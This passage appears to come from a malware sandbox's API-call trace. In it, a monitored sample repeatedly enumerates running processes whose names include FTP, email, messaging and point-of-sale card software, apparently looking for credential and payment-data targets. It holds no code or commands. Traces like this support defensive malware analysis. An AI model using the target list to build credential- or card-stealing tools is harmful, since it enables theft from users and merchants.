th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0266.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0266.753] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0266.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0266.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0266.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0266.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0266.764] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0266.850] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0266.852] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0266.854] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0266.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0266.857] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0266.859] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0266.861] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0266.863] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0266.864] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0266.866] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0266.868] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0266.869] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0266.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0266.872] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0266.874] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0266.876] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0266.879] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0266.881] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0266.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0266.929] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0266.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0266.933] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0266.935] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0266.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0266.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0266.940] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0266.942] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0266.944] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0266.946] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0266.948] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0266.949] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0266.951] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0266.952] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0266.954] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0266.956] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0266.957] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0267.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0267.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0267.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0267.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0267.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0267.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0267.020] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0267.022] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0267.023] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0267.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0267.027] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0267.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0267.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0267.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0267.033] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0267.035] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0267.036] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0267.038] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0267.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0267.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0267.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.091] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.093] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0267.105] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0267.107] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.109] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0267.111] CloseHandle (hObject=0x344) returned 1 [0267.111] Sleep (dwMilliseconds=0x64) [0267.161] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0267.174] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.175] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.191] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.200] 